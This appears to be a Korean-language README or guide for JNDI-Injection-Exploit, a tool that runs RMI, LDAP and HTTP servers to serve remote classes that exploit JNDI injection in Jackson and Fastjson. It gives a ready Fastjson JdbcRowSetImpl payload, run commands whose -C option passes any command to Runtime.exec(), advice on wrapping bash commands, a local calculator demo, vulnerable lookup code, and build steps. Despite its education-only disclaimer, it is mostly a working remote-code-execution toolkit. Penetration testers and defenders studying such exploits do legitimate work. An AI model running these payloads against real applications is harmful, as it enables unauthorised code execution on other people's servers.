
JNDI 주입 테스트 도구 (JNDI 링크를 생성하고 여러 서버를 시작하여 Jackson, Fastjson 등과 같은 JNDI 주입 취약점을 악용할 수 있는 도구)
JNDI-Injection-Exploit는 작동 가능한 JNDI 링크를 생성하고 RMI 서버, LDAP 서버 및 HTTP 서버를 시작하여 백그라운드 서비스를 제공하는 도구입니다. RMI 서버와 LDAP 서버는 marshals를 기반으로 하며 HTTP 서버와 연결하기 위해 추가로 수정되었습니다.
이 도구를 사용하면 JNDI 링크를 얻을 수 있으며, 이러한 링크를 POC에 삽입하여 취약점을 테스트할 수 있습니다.
예를 들어, 다음은 Fastjson 취약점 POC입니다:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}
JNDI-Injection-Exploit에서 생성된 링크로 "rmi://127.0.0.1:1099/Object"를 대체하여 취약점을 테스트할 수 있습니다.
모든 정보와 코드는 교육 목적 및/또는 자신의 시스템에서 이러한 취약점을 테스트하기 위한 용도로만 제공됩니다.
다음과 같이 실행:
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
여기서:
-C - 원격 클래스 파일에서 실행할 명령어.
(선택 사항, 기본 명령어는 "open /Applications/Calculator.app")
-A - 서버의 주소, IP 주소 또는 도메인일 수 있음.
(선택 사항, 기본 주소는 첫 번째 네트워크 인터페이스 주소)
주의 사항:
서버의 포트(1099, 1389, 8180)가 사용 가능한지 확인하세요.
또는 run.ServerStart 클래스의 26~28행에서 기본 포트를 변경할 수 있습니다.
명령어는 **Runtime.getRuntime().exec()**에 매개변수로 전달됩니다.
따라서 명령어가 exec() 메서드에서 실행 가능한지 확인해야 합니다.
"bash -c ...."와 같은 bash 명령어는 큰따옴표를 추가해야 합니다.
로컬 데모:
다음과 같이 도구를 시작합니다:
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A "127.0.0.1"
스크린샷:

1단계에서 생성된 rmi://ADDRESS/jfxllc와 같은 JNDI 링크를 JNDI 인젝션에 취약한 애플리케이션에 주입한다고 가정해 봅시다.
이 예제에서는 다음과 같습니다:
public static void main(String[] args) throws Exception{
InitialContext ctx = new InitialContext();
ctx.lookup("rmi://127.0.0.1/fgf4fp");
}
그러면 이 코드를 실행할 때 명령어가 실행되고, 쉘에 로그가 출력됩니다:

jar 파일을 얻는 두 가지 방법 중 하나를 선택할 수 있습니다.
Realease에서 최신 jar 파일을 다운로드합니다.
소스 코드를 로컬로 클론하고 빌드합니다 (Java 1.8+ 및 Maven 3.x+ 필요).
$ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
$ cd JNDI-Injection-Exploit
$ mvn clean package -DskipTests